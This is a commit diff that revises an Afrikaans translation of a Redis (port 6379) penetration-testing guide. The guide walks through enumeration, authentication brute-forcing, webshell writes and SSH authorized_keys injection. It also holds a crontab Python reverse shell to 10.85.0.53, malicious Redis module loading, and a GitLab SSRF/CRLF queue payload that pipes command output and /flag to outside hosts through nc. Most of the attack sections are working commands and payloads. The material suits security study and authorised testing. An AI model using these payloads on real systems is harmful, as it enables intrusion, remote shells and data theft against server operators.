Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:35:38 +00:00
parent adb4e219cd
commit e15d822f64

View File

@ -15,7 +15,7 @@ PORT STATE SERVICE VERSION
```
## Outomatiese Enumerasie
Sommige outomatiese gereedskap wat kan help om inligting van 'n redis-instansie te verkry:
Sommige geoutomatiseerde gereedskap wat kan help om inligting van 'n redis-instansie te verkry:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
@ -24,14 +24,14 @@ msf> use auxiliary/scanner/redis/redis_server
### Banner
Redis is 'n **tekstgebaseerde protokol**, jy kan eenvoudig die **opdrag in 'n soket stuur** en die teruggegee waardes sal leesbaar wees. Onthou ook dat Redis kan loop met **ssl/tls** (maar dit is baie vreemd).
Redis is 'n **tekstgebaseerde protokol**, jy kan eenvoudig **die opdrag in 'n soket stuur** en die teruggegee waardes sal leesbaar wees. Onthou ook dat Redis kan loop met **ssl/tls** (maar dit is baie vreemd).
In 'n gewone Redis-instantie kan jy eenvoudig aansluit met `nc` of jy kan ook `redis-cli` gebruik:
In 'n gewone Redis-instansie kan jy eenvoudig aansluit met `nc` of jy kan ook `redis-cli` gebruik:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Die **eerste opdrag** wat jy kan probeer is **`info`**. Dit **kan 'n uitvoer met inligting** van die Redis-instansie **of iets** soos die volgende teruggee:
Die **eerste opdrag** wat jy kan probeer is **`info`**. Dit **kan uitvoer met inligting** van die Redis-instansie **of iets** soos die volgende teruggegee word:
```
-NOAUTH Authentication required.
```
@ -39,15 +39,15 @@ In hierdie laaste geval beteken dit dat **jy geldige geloofsbriewe nodig het** o
### Redis Outentisering
**Standaard** kan Redis **sonder geloofsbriewe** benader word. Dit kan egter **gekonfigureer** word om **slegs wagwoord, of gebruikersnaam + wagwoord** te ondersteun.\
Dit is moontlik om 'n **wagwoord** in die _**redis.conf**_ lêer met die parameter `requirepass` **of tydelik** in te stel totdat die diens herbegin deur dit te verbind en die volgende uit te voer: `config set requirepass p@ss$12E45`.\
Ook kan 'n **gebruikersnaam** in die parameter `masteruser` binne die _**redis.conf**_ lêer geconfigureer word.
**Standaard** kan Redis toeganklik wees **sonder geloofsbriewe**. Dit kan egter **gekonfigureer** word om **slegs wagwoord, of gebruikersnaam + wagwoord** te ondersteun.\
Dit is moontlik om 'n **wagwoord** in die _**redis.conf**_ lêer met die parameter `requirepass` **of tydelik** in te stel totdat die diens herbegin deur verbinding te maak en te loop: `config set requirepass p@ss$12E45`.\
Ook kan 'n **gebruikersnaam** geconfigureer word in die parameter `masteruser` binne die _**redis.conf**_ lêer.
> [!NOTE]
> As slegs 'n wagwoord geconfigureer is, is die gebruikersnaam wat gebruik word "**default**".\
> Let ook daarop dat daar **geen manier is om van buite af te vind** of Redis slegs met 'n wagwoord of gebruikersnaam + wagwoord geconfigureer is nie.
> Let ook daarop dat daar **geen manier is om ekstern te vind** of Redis geconfigureer is met slegs wagwoord of gebruikersnaam + wagwoord nie.
In gevalle soos hierdie sal jy **geldige geloofsbriewe moet vind** om met Redis te kommunikeer, so jy kan probeer om [**brute-force**](../generic-hacking/brute-force.md#redis) dit.\
In gevalle soos hierdie sal jy **geldige geloofsbriewe moet vind** om met Redis te kommunikeer, sodat jy kan probeer om dit [**brute-force**](../generic-hacking/brute-force.md#redis) te doen.\
**As jy geldige geloofsbriewe gevind het, moet jy die sessie outentiseer** nadat jy die verbinding met die opdrag gevestig het:
```bash
AUTH <username> <password>
@ -56,7 +56,7 @@ AUTH <username> <password>
### **Geoutentiseerde opsporing**
As die Redis-bediener **anonieme verbindings** toelaat of as jy geldige geloofsbriewe verkry het, kan jy die opsporingsproses vir die diens begin met die volgende **opdragte**:
As die Redis-bediener **anonieme verbindings** toelaat of as jy geldige geloofsbriewe verkry het, kan jy die opsporingsproses vir die diens begin met behulp van die volgende **opdragte**:
```bash
INFO
[ ... Redis response with info ... ]
@ -134,7 +134,7 @@ OK
10.85.0.52:6379> save
OK
```
As die webshell toegang uitsondering, kan jy die databasis leegmaak na 'n rugsteun en weer probeer, onthou om die databasis te herstel.
As die webshell toegang uitgesluit is, kan jy die databasis leegmaak na 'n rugsteun en weer probeer, onthou om die databasis te herstel.
### Sjabloon Webshell
@ -155,15 +155,15 @@ sh.stderr.pipe(client);
)()}}
```
> [!WARNING]
> Let daarop dat **verskeie sjabloon enjin** die sjablone in **geheue** kas, so selfs al oorskryf jy hulle, sal die nuwe een **nie uitgevoer word nie**. In hierdie gevalle het die ontwikkelaar of die outomatiese herlaai aktief gelaat of jy moet 'n DoS oor die diens doen (en verwag dat dit outomaties herbegin sal word).
> Let daarop dat **verskeie sjabloon enjin** die sjablone in **geheue** kas, so selfs al oorskryf jy hulle, sal die nuwe een **nie uitgevoer** word nie. In hierdie gevalle het die ontwikkelaar dalk die outomatiese herlaai aktief gelaat of jy moet 'n DoS oor die diens doen (en verwag dat dit outomaties herbegin sal word).
### SSH
Voorbeeld [van hier](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Wees asseblief bewus dat die **`config get dir`** resultaat verander kan word na ander handmatige ontploffingsopdragte. Dit word voorgestel om dit eerste te loop reg na aanmelding in Redis. In die uitvoer van **`config get dir`** kan jy die **huis** van die **redis gebruiker** vind (gewoonlik _/var/lib/redis_ of _/home/redis/.ssh_), en as jy dit weet, weet jy waar jy die `authenticated_users` lêer kan skryf om via ssh **met die gebruiker redis** toegang te verkry. As jy die huis van 'n ander geldige gebruiker weet waar jy skryfrechten het, kan jy dit ook misbruik:
Wees bewus dat die **`config get dir`** resultaat verander kan word na ander handmatige eksploitopdragte. Dit word voorgestel om dit eerste te loop reg na aanmelding in Redis. In die uitvoer van **`config get dir`** kan jy die **huis** van die **redis gebruiker** vind (gewoonlik _/var/lib/redis_ of _/home/redis/.ssh_), en as jy dit weet, weet jy waar jy die `authenticated_users` lêer kan skryf om via ssh **met die gebruiker redis** toegang te verkry. As jy die huis van 'n ander geldige gebruiker weet waar jy skryfrechten het, kan jy dit ook misbruik:
1. Genereer 'n ssh publieke-private sleutel paar op jou pc: **`ssh-keygen -t rsa`**
1. Genereer 'n ssh publieke-private sleutel paar op jou rekenaar: **`ssh-keygen -t rsa`**
2. Skryf die publieke sleutel na 'n lêer : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Importeer die lêer in redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Stoor die publieke sleutel in die **authorized_keys** lêer op die redis bediener:
@ -178,10 +178,12 @@ OK
OK
```
5. Laastens, kan jy **ssh** na die **redis bediener** met private sleutel : **ssh -i id_rsa redis@10.85.0.52**
5. Laastens, kan jy **ssh** na die **redis bediener** met die private sleutel : **ssh -i id_rsa redis@10.85.0.52**
**Hierdie tegniek is geoutomatiseer hier:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
Boonop kan stelselsgebruikers ook ontdek word deur te kyk met `config set dir /home/USER`, en na bevestiging kan 'n nuwe `authorized_keys` na `/home/USER/.ssh/authorized_keys` geskryf word. Gebruik [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) om dit met 'n gebruikersnaam woordlys te bruteforce en `authorized_keys` oorskryf.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -200,7 +202,7 @@ Hierdie metode kan ook gebruik word om bitcoin te verdien [yam](https://www.v
### Laai Redis Module
1. Volg die instruksies van [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) jy kan **'n redis module saamstel om arbitrêre opdragte uit te voer**.
2. Dan het jy 'n manier nodig om die **saamgestelde** module **op te laai**.
2. Dan het jy 'n manier nodig om die **saamgestelde** module te **laai**.
3. **Laai die opgelaaide module** tydens uitvoering met `MODULE LOAD /path/to/mymodule.so`
4. **Lys gelaaide modules** om te kontroleer of dit korrek gelaai is: `MODULE LIST`
5. **Voer** **opdragte** uit:
@ -225,7 +227,7 @@ Sommige **CVEs om uit LUA te ontsnap**:
### Meester-Slaaf Module
Die meester redis alle operasies word outomaties gesinkroniseer na die slaaf redis, wat beteken dat ons die kwesbaarheid redis as 'n slaaf redis kan beskou, gekoppel aan die meester redis wat ons eie beheer is, dan kan ons die opdragte na ons eie redis invoer.
Die meester redis sinchroniseer alle operasies outomaties na die slaaf redis, wat beteken dat ons die kwesbaarheid redis as 'n slaaf redis kan beskou, gekoppel aan die meester redis wat ons eie beheer is, dan kan ons die opdragte na ons eie redis invoer.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -239,7 +241,7 @@ set mykey2 helloworld
```
## SSRF praat met Redis
As jy **duidelike teks** versoeke **na Redis** kan stuur, kan jy **met dit kommunikeer** aangesien Redis die versoek lyn vir lyn sal lees en net met foute op die lyne sal antwoordgee wat dit nie verstaan nie:
As jy **duidelike teks** versoek **na Redis** kan stuur, kan jy **met dit kommunikeer** aangesien Redis die versoek lyn vir lyn sal lees en net met foute op die lyne sal antwoordgee wat dit nie verstaan nie:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -255,14 +257,14 @@ Daarom, as jy 'n **SSRF vuln** in 'n webwerf vind en jy kan **beheer** oor sommi
In **Gitlab11.4.7** is 'n **SSRF** kwesbaarheid en 'n **CRLF** ontdek. Die **SSRF** kwesbaarheid was in die **import project from URL functionality** wanneer 'n nuwe projek geskep word en het toegang tot arbitrêre IP's in die vorm \[0:0:0:0:0:ffff:127.0.0.1] toegelaat (dit sal 127.0.0.1 benader), en die **CRLF** vuln is net **deur %0D%0A** karakters by die **URL** te voeg, uitgebuit.
Daarom was dit moontlik om **hierdie kwesbaarhede te misbruik om met die Redis instansie te praat** wat **queues** van **gitlab** bestuur en daardie queues te misbruik om **kode-uitvoering te verkry**. Die Redis queue misbruik payload is:
Daarom was dit moontlik om **hierdie kwesbaarhede te misbruik om met die Redis-instansie te praat** wat **queues** van **gitlab** bestuur en daardie queues te misbruik om **kode-uitvoering te verkry**. Die Redis queue misbruik payload is:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
En die **URL encode** versoek **wat SSRF** en **CRLF** misbruik om 'n `whoami` uit te voer en die uitvoer terug te stuur via `nc` is:
En die **URL encode** versoek **wat SSRF misbruik** en **CRLF** om 'n `whoami` uit te voer en die uitvoer terug te stuur via `nc` is:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```